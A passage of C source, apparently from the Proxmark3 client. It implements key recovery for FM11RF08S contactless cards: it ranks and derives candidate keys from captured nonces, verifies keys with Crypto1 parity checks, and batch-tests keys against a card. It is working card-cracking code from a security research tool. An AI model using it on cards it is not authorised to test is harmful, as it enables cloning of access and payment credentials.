uint32_t nbuckets = 0;
|
|
for (uint32_t s = 0; s <= UINT16_MAX; s++)
|
|
if (count_a[s] > 0 || count_b[s] > 0) nbuckets++;
|
|
|
|
fm11_seed_bucket_t *buckets = calloc(nbuckets, sizeof(fm11_seed_bucket_t));
|
|
if (buckets == NULL) { free(count_a); free(count_b); return PM3_EMALLOC; }
|
|
|
|
uint32_t bi = 0;
|
|
for (uint32_t s = 0; s <= UINT16_MAX && bi < nbuckets; s++) {
|
|
if (count_a[s] == 0 && count_b[s] == 0) continue;
|
|
buckets[bi].seed = (uint16_t)s;
|
|
buckets[bi].a_count = count_a[s];
|
|
buckets[bi].b_count = count_b[s];
|
|
bi++;
|
|
}
|
|
free(count_a);
|
|
free(count_b);
|
|
*buckets_out = buckets;
|
|
*bucket_count_out = nbuckets;
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static int fm11_cmp_seed_bucket(const void *a, const void *b) {
|
|
const fm11_seed_bucket_t *ba = (const fm11_seed_bucket_t *)a;
|
|
const fm11_seed_bucket_t *bb = (const fm11_seed_bucket_t *)b;
|
|
bool a_both = (ba->a_count == 1 && ba->b_count == 1);
|
|
bool b_both = (bb->a_count == 1 && bb->b_count == 1);
|
|
if (a_both != b_both) return a_both ? -1 : 1;
|
|
bool a_one = (ba->a_count == 1 || ba->b_count == 1);
|
|
bool b_one = (bb->a_count == 1 || bb->b_count == 1);
|
|
if (a_one != b_one) return a_one ? -1 : 1;
|
|
uint32_t sa = ba->a_count + ba->b_count;
|
|
uint32_t sb = bb->a_count + bb->b_count;
|
|
return (sa > sb) - (sa < sb);
|
|
}
|
|
|
|
static int fm11_sort_candidates_by_seed_bucket(fm11_keylist_t *a, fm11_keylist_t *b) {
|
|
if (a == NULL || b == NULL || a->count == 0 || b->count == 0) return PM3_SUCCESS;
|
|
|
|
fm11_seed_bucket_t *buckets = NULL;
|
|
uint32_t bucket_count = 0;
|
|
int res = fm11_build_seed_buckets(a, b, &buckets, &bucket_count);
|
|
if (res != PM3_SUCCESS || bucket_count == 0) { free(buckets); return res; }
|
|
|
|
qsort(buckets, bucket_count, sizeof(fm11_seed_bucket_t), fm11_cmp_seed_bucket);
|
|
|
|
for (uint32_t bi = 0; bi < bucket_count; bi++) {
|
|
if (buckets[bi].a_count == 1) {
|
|
uint16_t target = buckets[bi].seed;
|
|
for (uint32_t i = 0; i < a->count; i++) {
|
|
if (a->data[i].seed_valid && a->data[i].seed == target) {
|
|
fm11_keylist_promote_or_prepend(a, a->data[i].key);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
if (buckets[bi].b_count == 1) {
|
|
uint16_t target = buckets[bi].seed;
|
|
for (uint32_t i = 0; i < b->count; i++) {
|
|
if (b->data[i].seed_valid && b->data[i].seed == target) {
|
|
fm11_keylist_promote_or_prepend(b, b->data[i].key);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
if (buckets[bi].a_count > 1 && buckets[bi].b_count > 1) break;
|
|
}
|
|
|
|
free(buckets);
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static int fm11_prioritize_defaults(fm11_keylist_t *list, const fm11_keylist_t *defaults) {
|
|
if (list == NULL || list->count == 0) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
if (defaults == NULL || defaults->count == 0) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
uint32_t dst = 0;
|
|
for (uint32_t d = 0; d < defaults->count; d++) {
|
|
for (uint32_t i = dst; i < list->count; i++) {
|
|
if (list->data[i].key == defaults->data[d].key) {
|
|
fm11_candidate_t tmp = list->data[dst];
|
|
list->data[dst++] = list->data[i];
|
|
list->data[i] = tmp;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static int fm11_prioritize_duplicates(fm11_keylist_t keys[FM11RF08S_SECTORS][2],
|
|
uint32_t duplicate_prefix[FM11RF08S_SECTORS][2],
|
|
uint32_t *duplicate_count) {
|
|
uint32_t total = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
total += keys[sec][kt].count;
|
|
if (duplicate_prefix != NULL) {
|
|
duplicate_prefix[sec][kt] = 0;
|
|
}
|
|
}
|
|
}
|
|
if (duplicate_count != NULL) {
|
|
*duplicate_count = 0;
|
|
}
|
|
if (total == 0) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
/* skip expensive qsort+ref-build when total exceeds the global-priority cap:
|
|
* the dynamic per-sector loop handles it without duplicate pre-sorting */
|
|
if (total > FM11RF08S_MAX_GLOBAL_PRIORITY_KEYS * 32U) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
fm11_candidate_ref_t *refs = calloc(total, sizeof(fm11_candidate_ref_t));
|
|
bool *is_duplicate[FM11RF08S_SECTORS][2] = {{0}};
|
|
if (refs == NULL) {
|
|
return PM3_EMALLOC;
|
|
}
|
|
|
|
uint32_t pos = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (keys[sec][kt].count == 0) {
|
|
continue;
|
|
}
|
|
is_duplicate[sec][kt] = calloc(keys[sec][kt].count, sizeof(bool));
|
|
if (is_duplicate[sec][kt] == NULL) {
|
|
for (uint8_t s = 0; s < FM11RF08S_SECTORS; s++) {
|
|
for (uint8_t k = 0; k < 2; k++) {
|
|
free(is_duplicate[s][k]);
|
|
}
|
|
}
|
|
free(refs);
|
|
return PM3_EMALLOC;
|
|
}
|
|
for (uint32_t i = 0; i < keys[sec][kt].count; i++) {
|
|
if (((pos & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
for (uint8_t s = 0; s < FM11RF08S_SECTORS; s++) {
|
|
for (uint8_t k = 0; k < 2; k++) {
|
|
free(is_duplicate[s][k]);
|
|
}
|
|
}
|
|
free(refs);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
refs[pos++] = (fm11_candidate_ref_t) {
|
|
.key = keys[sec][kt].data[i].key,
|
|
.sec = sec,
|
|
.key_type = kt,
|
|
.idx = i,
|
|
};
|
|
}
|
|
}
|
|
}
|
|
|
|
qsort(refs, total, sizeof(fm11_candidate_ref_t), fm11_cmp_candidate_ref);
|
|
uint32_t duplicate_refs = 0;
|
|
for (uint32_t i = 0; i < total;) {
|
|
if (((i & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
for (uint8_t s = 0; s < FM11RF08S_SECTORS; s++) {
|
|
for (uint8_t k = 0; k < 2; k++) {
|
|
free(is_duplicate[s][k]);
|
|
}
|
|
}
|
|
free(refs);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
uint32_t j = i + 1;
|
|
while (j < total && refs[j].key == refs[i].key) {
|
|
j++;
|
|
}
|
|
bool duplicate = false;
|
|
for (uint32_t k = i + 1; k < j; k++) {
|
|
if (refs[k].sec != refs[i].sec || refs[k].key_type != refs[i].key_type) {
|
|
duplicate = true;
|
|
break;
|
|
}
|
|
}
|
|
if (duplicate) {
|
|
for (uint32_t k = i; k < j; k++) {
|
|
if (is_duplicate[refs[k].sec][refs[k].key_type][refs[k].idx] == false) {
|
|
is_duplicate[refs[k].sec][refs[k].key_type][refs[k].idx] = true;
|
|
duplicate_refs++;
|
|
}
|
|
}
|
|
}
|
|
i = j;
|
|
}
|
|
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
fm11_keylist_t *list = &keys[sec][kt];
|
|
uint32_t dst = 0;
|
|
for (uint32_t i = 0; i < list->count; i++) {
|
|
if (((i & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
for (uint8_t s = sec; s < FM11RF08S_SECTORS; s++) {
|
|
for (uint8_t k = 0; k < 2; k++) {
|
|
free(is_duplicate[s][k]);
|
|
}
|
|
}
|
|
free(refs);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
if (is_duplicate[sec][kt][i]) {
|
|
fm11_candidate_t tmp = list->data[dst];
|
|
list->data[dst++] = list->data[i];
|
|
list->data[i] = tmp;
|
|
}
|
|
}
|
|
if (duplicate_prefix != NULL) {
|
|
duplicate_prefix[sec][kt] = dst;
|
|
}
|
|
free(is_duplicate[sec][kt]);
|
|
is_duplicate[sec][kt] = NULL;
|
|
}
|
|
}
|
|
free(refs);
|
|
|
|
if (duplicate_count != NULL) {
|
|
*duplicate_count = duplicate_refs;
|
|
}
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static bool fm11_derive_pair_key(uint32_t nt_known, uint64_t key_known, uint32_t nt_target, fm11_keylist_t *target, uint64_t *key_out) {
|
|
if (target == NULL || key_out == NULL || nt_known == nt_target) {
|
|
return false;
|
|
}
|
|
uint16_t seed = fm11_compute_seednt16_nt32(nt_known, key_known);
|
|
uint64_t found = 0;
|
|
uint32_t matches = 0;
|
|
fm11_compute_list_seeds(target, nt_target);
|
|
|
|
matches = fm11_count_candidate_seed_matches_vec(target, seed, 2);
|
|
if (matches != 1) {
|
|
return false;
|
|
}
|
|
|
|
for (uint32_t i = 0; i < target->count; i++) {
|
|
if (seed == target->data[i].seed) {
|
|
found = target->data[i].key;
|
|
break;
|
|
}
|
|
}
|
|
*key_out = found;
|
|
return true;
|
|
}
|
|
|
|
static uint32_t fm11_accept_found_key(const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2],
|
|
uint8_t sec,
|
|
uint8_t key_type,
|
|
uint64_t key) {
|
|
if (nonces == NULL || sec >= FM11RF08S_SECTORS || key_type > 1) {
|
|
return 0;
|
|
}
|
|
(void)nonces;
|
|
(void)candidates;
|
|
|
|
key &= 0xFFFFFFFFFFFFULL;
|
|
uint32_t accepted = 0;
|
|
|
|
if (found_key[sec][key_type] == false) {
|
|
keys_found[sec][key_type] = key;
|
|
found_key[sec][key_type] = true;
|
|
accepted++;
|
|
}
|
|
|
|
return accepted;
|
|
}
|
|
|
|
static void fm11_probe_queue_push(fm11_probe_queue_t *q, uint8_t sec, uint8_t kt, uint64_t key) {
|
|
if (q == NULL || q->count >= FM11_PROBE_QUEUE_MAX) {
|
|
return;
|
|
}
|
|
/* avoid duplicates */
|
|
for (uint32_t i = 0; i < q->count; i++) {
|
|
if (q->entries[i].sec == sec && q->entries[i].key_type == kt && q->entries[i].key == key) {
|
|
return;
|
|
}
|
|
}
|
|
q->entries[q->count++] = (fm11_probe_entry_t) {.sec = sec, .key_type = kt, .key = key};
|
|
}
|
|
|
|
static uint32_t fm11_accept_found_key_global(
|
|
const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2],
|
|
const fm11_reuse_index_t *reuse_index,
|
|
uint8_t sec,
|
|
uint8_t key_type,
|
|
uint64_t key,
|
|
fm11_probe_queue_t *probe_queue
|
|
) {
|
|
uint32_t accepted = fm11_accept_found_key(nonces, candidates, keys_found, found_key, sec, key_type, key);
|
|
|
|
const fm11_reuse_bucket_t *bucket = fm11_reuse_index_find(reuse_index, key);
|
|
if (bucket == NULL) {
|
|
return accepted;
|
|
}
|
|
|
|
key &= 0xFFFFFFFFFFFFULL;
|
|
for (uint32_t i = 0; i < bucket->count; i++) {
|
|
const fm11_candidate_ref_t *ref = &reuse_index->refs[bucket->start + i];
|
|
if (found_key[ref->sec][ref->key_type]) {
|
|
continue;
|
|
}
|
|
if (fm11_keylist_promote_existing_hint(&candidates[ref->sec][ref->key_type], key, ref->idx) == false) {
|
|
continue;
|
|
}
|
|
if (probe_queue != NULL) {
|
|
fm11_probe_queue_push(probe_queue, ref->sec, ref->key_type, key);
|
|
}
|
|
}
|
|
return accepted;
|
|
}
|
|
|
|
static uint32_t fm11_propagate_found_keys(const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2]) {
|
|
uint32_t accepted = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt]) {
|
|
accepted += fm11_accept_found_key(nonces, candidates, keys_found, found_key, sec, kt, keys_found[sec][kt]);
|
|
}
|
|
}
|
|
}
|
|
return accepted;
|
|
}
|
|
|
|
static uint32_t fm11_try_derive_all(const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2],
|
|
uint32_t *reduced_candidates,
|
|
bool promote_inferred) {
|
|
uint32_t derived = 0;
|
|
if (reduced_candidates != NULL) {
|
|
*reduced_candidates = 0;
|
|
}
|
|
if (nonces == NULL) {
|
|
return 0;
|
|
}
|
|
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
uint32_t nt_a = fm11_bytes_to_u32(nonces->nt[sec][0]);
|
|
uint32_t nt_b = fm11_bytes_to_u32(nonces->nt[sec][1]);
|
|
|
|
if (nt_a == nt_b) {
|
|
continue;
|
|
}
|
|
|
|
if (found_key[sec][0] && found_key[sec][1] == false) {
|
|
uint64_t key = 0;
|
|
uint16_t seed = fm11_compute_seednt16_nt32(nt_a, keys_found[sec][0]);
|
|
uint32_t old_count = 0;
|
|
uint32_t new_count = 0;
|
|
if (fm11_filter_candidates_by_seed(&candidates[sec][1], nt_b, seed, &old_count, &new_count) == PM3_SUCCESS &&
|
|
reduced_candidates != NULL && old_count > new_count) {
|
|
*reduced_candidates += old_count - new_count;
|
|
}
|
|
if (promote_inferred &&
|
|
fm11_derive_pair_key(nt_a, keys_found[sec][0], nt_b, &candidates[sec][1], &key)) {
|
|
derived += fm11_accept_found_key(nonces, candidates, keys_found, found_key, sec, 1, key);
|
|
}
|
|
}
|
|
if (found_key[sec][1] && found_key[sec][0] == false) {
|
|
uint64_t key = 0;
|
|
uint16_t seed = fm11_compute_seednt16_nt32(nt_b, keys_found[sec][1]);
|
|
uint32_t old_count = 0;
|
|
uint32_t new_count = 0;
|
|
if (fm11_filter_candidates_by_seed(&candidates[sec][0], nt_a, seed, &old_count, &new_count) == PM3_SUCCESS &&
|
|
reduced_candidates != NULL && old_count > new_count) {
|
|
*reduced_candidates += old_count - new_count;
|
|
}
|
|
if (promote_inferred &&
|
|
fm11_derive_pair_key(nt_b, keys_found[sec][1], nt_a, &candidates[sec][0], &key)) {
|
|
derived += fm11_accept_found_key(nonces, candidates, keys_found, found_key, sec, 0, key);
|
|
}
|
|
}
|
|
}
|
|
return derived;
|
|
}
|
|
|
|
static uint32_t fm11_promote_singletons(const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2],
|
|
bool promote_inferred) {
|
|
uint32_t promoted = 0;
|
|
if (promote_inferred == false) {
|
|
return 0;
|
|
}
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt] == false && candidates[sec][kt].count == 1) {
|
|
keys_found[sec][kt] = candidates[sec][kt].data[0].key;
|
|
found_key[sec][kt] = true;
|
|
promoted++;
|
|
}
|
|
}
|
|
}
|
|
return promoted;
|
|
}
|
|
|
|
static uint32_t fm11_propagate_exact_reused_keys(fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2],
|
|
bool promote_inferred) {
|
|
uint32_t propagated = 0;
|
|
if (promote_inferred == false) {
|
|
return 0;
|
|
}
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt] == false) {
|
|
continue;
|
|
}
|
|
uint64_t k = keys_found[sec][kt];
|
|
for (uint8_t s2 = 0; s2 < FM11RF08S_SECTORS; s2++) {
|
|
for (uint8_t kt2 = 0; kt2 < 2; kt2++) {
|
|
if (found_key[s2][kt2]) {
|
|
continue;
|
|
}
|
|
if (candidates[s2][kt2].count == 1 &&
|
|
candidates[s2][kt2].data[0].key == k) {
|
|
keys_found[s2][kt2] = k;
|
|
found_key[s2][kt2] = true;
|
|
propagated++;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return propagated;
|
|
}
|
|
|
|
|
|
static uint32_t fm11_offline_fixpoint(const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2],
|
|
uint32_t *reduced_out,
|
|
bool promote_inferred) {
|
|
uint32_t total_changed = 0;
|
|
uint32_t total_reduced = 0;
|
|
|
|
for (;;) {
|
|
uint32_t changed = 0;
|
|
|
|
changed += fm11_promote_singletons(nonces, candidates, keys_found, found_key, promote_inferred);
|
|
changed += fm11_propagate_exact_reused_keys(candidates, keys_found, found_key, promote_inferred);
|
|
uint32_t r = 0;
|
|
changed += fm11_try_derive_all(nonces, candidates, keys_found, found_key, &r, promote_inferred);
|
|
total_reduced += r;
|
|
if (promote_inferred) {
|
|
changed += fm11_propagate_found_keys(nonces, candidates, keys_found, found_key);
|
|
}
|
|
|
|
total_changed += changed;
|
|
if (changed == 0) {
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (reduced_out != NULL) {
|
|
*reduced_out = total_reduced;
|
|
}
|
|
return total_changed;
|
|
}
|
|
|
|
static uint32_t fm11_apply_reader_material(const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2],
|
|
uint64_t reader_keys[FM11RF08S_NORMAL_SECTORS][2],
|
|
bool reader_found[FM11RF08S_NORMAL_SECTORS][2]) {
|
|
uint32_t accepted = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_NORMAL_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (reader_found[sec][kt] == false) {
|
|
continue;
|
|
}
|
|
if (fm11_keylist_has_key(&candidates[sec][kt], reader_keys[sec][kt]) == false) {
|
|
PrintAndLogEx(WARNING, "Reader key sec %03u key %c is outside FM11RF08S candidate set, promoting reader material",
|
|
sec, kt ? 'B' : 'A');
|
|
int res = fm11_keylist_promote_or_prepend(&candidates[sec][kt], reader_keys[sec][kt]);
|
|
if (res != PM3_SUCCESS) {
|
|
continue;
|
|
}
|
|
}
|
|
accepted += fm11_accept_found_key(nonces, candidates, keys_found, found_key, sec, kt, reader_keys[sec][kt]);
|
|
}
|
|
}
|
|
return accepted;
|
|
}
|
|
|
|
static int fm11_build_global_priority_keys(fm11_keylist_t candidates[FM11RF08S_SECTORS][2],
|
|
uint32_t duplicate_prefix[FM11RF08S_SECTORS][2],
|
|
fm11_keylist_t *priority) {
|
|
if (priority == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
uint32_t limit = MIN(duplicate_prefix[sec][kt], candidates[sec][kt].count);
|
|
for (uint32_t i = 0; i < limit; i++) {
|
|
if (((priority->count & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
return PM3_EOPABORTED;
|
|
}
|
|
int res = fm11_keylist_add_unique(priority, candidates[sec][kt].data[i].key);
|
|
if (res != PM3_SUCCESS) {
|
|
return res;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
static int fm11_build_reuse_priority_keys(const fm11_reuse_index_t *reuse_index,
|
|
fm11_keylist_t *priority,
|
|
uint32_t max_keys,
|
|
uint32_t *eligible_out) {
|
|
if (reuse_index == NULL || priority == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
if (eligible_out != NULL) {
|
|
*eligible_out = 0;
|
|
}
|
|
if (reuse_index->bucket_count == 0 || max_keys == 0) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
fm11_reuse_priority_t *ranked = calloc(reuse_index->bucket_count, sizeof(fm11_reuse_priority_t));
|
|
if (ranked == NULL) {
|
|
return PM3_EMALLOC;
|
|
}
|
|
|
|
uint32_t count = 0;
|
|
for (uint32_t bi = 0; bi < reuse_index->bucket_count; bi++) {
|
|
if (((bi & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
free(ranked);
|
|
return PM3_EOPABORTED;
|
|
}
|
|
const fm11_reuse_bucket_t *bucket = &reuse_index->buckets[bi];
|
|
if (bucket->count < 2) {
|
|
continue;
|
|
}
|
|
uint32_t ordinal = UINT32_MAX;
|
|
uint32_t sector_mask = 0;
|
|
for (uint32_t i = 0; i < bucket->count; i++) {
|
|
const fm11_candidate_ref_t *ref = &reuse_index->refs[bucket->start + i];
|
|
ordinal = MIN(ordinal, ref->idx);
|
|
sector_mask |= 1U << ref->sec;
|
|
}
|
|
uint32_t sectors = __builtin_popcount(sector_mask);
|
|
if (sectors < 2) {
|
|
continue;
|
|
}
|
|
ranked[count++] = (fm11_reuse_priority_t) {
|
|
.key = bucket->key,
|
|
.sectors = sectors,
|
|
.refs = bucket->count,
|
|
.ordinal = ordinal,
|
|
};
|
|
}
|
|
if (eligible_out != NULL) {
|
|
*eligible_out = count;
|
|
}
|
|
if (count == 0) {
|
|
free(ranked);
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
qsort(ranked, count, sizeof(fm11_reuse_priority_t), fm11_cmp_reuse_priority);
|
|
|
|
uint32_t limit = MIN(count, max_keys);
|
|
int retval = PM3_SUCCESS;
|
|
for (uint32_t i = 0; i < limit; i++) {
|
|
if (((i & 0x3FF) == 0) && kbd_enter_pressed()) {
|
|
retval = PM3_EOPABORTED;
|
|
break;
|
|
}
|
|
retval = fm11_keylist_add_unique(priority, ranked[i].key);
|
|
if (retval != PM3_SUCCESS) {
|
|
break;
|
|
}
|
|
}
|
|
free(ranked);
|
|
return retval;
|
|
}
|
|
|
|
static int fm11_verify_global_priority_keys(const fm11_keylist_t *priority,
|
|
uint64_t keys_found[FM11RF08S_SECTORS][2],
|
|
bool found_key[FM11RF08S_SECTORS][2]) {
|
|
if (priority == NULL || priority->count == 0) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
sector_t *e_sector = calloc(FM11RF08S_NORMAL_SECTORS, sizeof(sector_t));
|
|
if (e_sector == NULL) {
|
|
return PM3_EMALLOC;
|
|
}
|
|
for (uint8_t sec = 0; sec < FM11RF08S_NORMAL_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt]) {
|
|
e_sector[sec].Key[kt] = keys_found[sec][kt];
|
|
e_sector[sec].foundKey[kt] = true;
|
|
}
|
|
}
|
|
}
|
|
|
|
const uint8_t keys_per_frame = fm11_keys_per_frame();
|
|
int retval = PM3_SUCCESS;
|
|
bool progress_shown = false;
|
|
for (uint8_t strategy = 1; strategy < 3; strategy++) {
|
|
bool first_chunk = true;
|
|
for (uint32_t idx = 0; idx < priority->count; idx += keys_per_frame) {
|
|
if (kbd_enter_pressed()) {
|
|
retval = PM3_EOPABORTED;
|
|
goto out;
|
|
}
|
|
|
|
uint8_t key_block[KEYBLOCK_SIZE] = {0};
|
|
uint8_t chunk = MIN(keys_per_frame, priority->count - idx);
|
|
bool last_chunk = (idx + chunk) >= priority->count;
|
|
for (uint8_t i = 0; i < chunk; i++) {
|
|
num_to_bytes(priority->data[idx + i].key, MIFARE_KEY_SIZE, key_block + (i * MIFARE_KEY_SIZE));
|
|
}
|
|
|
|
int res = mf_check_keys_fast_ex(FM11RF08S_NORMAL_SECTORS, first_chunk, last_chunk, strategy, chunk, key_block, e_sector, false, false, true, 0);
|
|
if (res == PM3_ETIMEOUT || res == PM3_EOPABORTED) {
|
|
retval = res;
|
|
goto out;
|
|
}
|
|
if (first_chunk) {
|
|
first_chunk = false;
|
|
}
|
|
fm11_sen_compute_progress("Batch fchk", MIN(idx + chunk, priority->count), priority->count, priority->count);
|
|
progress_shown = true;
|
|
if (res == PM3_SUCCESS) {
|
|
goto out;
|
|
}
|
|
}
|
|
}
|
|
|
|
out:
|
|
if (progress_shown) {
|
|
fm11_sen_clear_inplace();
|
|
}
|
|
for (uint8_t sec = 0; sec < FM11RF08S_NORMAL_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (e_sector[sec].foundKey[kt]) {
|
|
keys_found[sec][kt] = e_sector[sec].Key[kt];
|
|
found_key[sec][kt] = true;
|
|
}
|
|
}
|
|
}
|
|
free(e_sector);
|
|
return retval;
|
|
}
|
|
|
|
static void fm11_print_key_hit_row(uint32_t nonce_count, uint8_t sec, uint8_t kt, uint64_t key,
|
|
const bool found_key[FM11RF08S_SECTORS][2]) {
|
|
fm11_sen_finish_inplace();
|
|
uint32_t keys_so_far = fm11_count_found_keys(found_key);
|
|
uint64_t elapsed_key = fm11_sen_start_time ? (msclock() - fm11_sen_start_time) : 0;
|
|
char kcount[16] = {0};
|
|
snprintf(kcount, sizeof(kcount), "%u/%u keys", keys_so_far, FM11RF08S_SECTORS * 2);
|
|
PrintAndLogEx(SUCCESS,
|
|
" " _YELLOW_("%7.0f") " | " _YELLOW_("%7u") " |"
|
|
" Key sec " _YELLOW_("%03u") " key " _YELLOW_("%c") " = " _GREEN_("%012" PRIX64) " |"
|
|
" " _YELLOW_("%25s") " | %13s ",
|
|
(float)elapsed_key / 1000.0, nonce_count,
|
|
fm11_real_sector(sec), kt ? 'B' : 'A', key & 0xFFFFFFFFFFFFULL,
|
|
kcount, "");
|
|
}
|
|
|
|
static bool fm11_key_matches_nonce(uint32_t uid,
|
|
const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
uint8_t sec,
|
|
uint8_t kt,
|
|
uint64_t key,
|
|
uint8_t parity_mask) {
|
|
uint32_t nt = fm11_bytes_to_u32(nonces->nt[sec][kt]);
|
|
uint32_t nt_enc = fm11_bytes_to_u32(nonces->nt_enc[sec][kt]);
|
|
uint8_t par_err = nonces->par_err[sec][kt];
|
|
uint8_t nt_par_enc = ((((par_err >> 3) & 1) ^ oddparity8((nt_enc >> 24) & 0xFF)) << 3) |
|
|
((((par_err >> 2) & 1) ^ oddparity8((nt_enc >> 16) & 0xFF)) << 2) |
|
|
((((par_err >> 1) & 1) ^ oddparity8((nt_enc >> 8) & 0xFF)) << 1) |
|
|
((((par_err >> 0) & 1) ^ oddparity8((nt_enc >> 0) & 0xFF)) << 0);
|
|
|
|
struct Crypto1State *s = crypto1_create(key & 0xFFFFFFFFFFFFULL);
|
|
if (s == NULL) {
|
|
return false;
|
|
}
|
|
uint32_t ks1 = crypto1_word(s, nt ^ uid, 0);
|
|
uint32_t ks2 = crypto1_word(s, 0, 0);
|
|
if ((nt ^ ks1) != nt_enc) {
|
|
crypto1_destroy(s);
|
|
return false;
|
|
}
|
|
|
|
for (uint8_t byte_i = 0; byte_i < 4; byte_i++) {
|
|
if (parity_mask & (1U << byte_i)) {
|
|
uint8_t ks_par = (ks2 >> (24 + byte_i)) & 1;
|
|
uint8_t observed_dec = ((nt_par_enc >> byte_i) & 1) ^ ks_par;
|
|
uint8_t nt_byte = (nt >> (byte_i * 8)) & 0xFF;
|
|
if (observed_dec != oddparity8(nt_byte)) {
|
|
crypto1_destroy(s);
|
|
return false;
|
|
}
|
|
}
|
|
}
|
|
|
|
crypto1_destroy(s);
|
|
return true;
|
|
}
|
|
|
|
static int fm11_collect_default_nonce_matches(uint32_t uid,
|
|
const iso14a_fm11rf08s_nonces_with_data_t *nonces,
|
|
const fm11_keylist_t *defaults,
|
|
const bool found_key[FM11RF08S_SECTORS][2],
|
|
uint8_t parity_mask,
|
|
fm11_keylist_t *matches) {
|
|
if (nonces == NULL || defaults == NULL || matches == NULL) {
|
|
return PM3_EINVARG;
|
|
}
|
|
if (defaults->count == 0) {
|
|
return PM3_SUCCESS;
|
|
}
|
|
|
|
uint32_t slots = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key != NULL && found_key[sec][kt]) {
|
|
continue;
|
|
}
|
|
slots++;
|
|
}
|
|
}
|
|
|
|
uint32_t total = defaults->count * slots;
|
|
uint32_t done = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
uint8_t real_sec = fm11_real_sector(sec);
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key != NULL && found_key[sec][kt]) {
|
|
continue;
|
|
}
|
|
for (uint32_t i = 0; i < defaults->count; i++) {
|
|
if ((done & 0x3F) == 0) {
|
|
if (kbd_enter_pressed()) {
|
|
fm11_sen_clear_inplace();
|
|
return PM3_EOPABORTED;
|
|
}
|
|
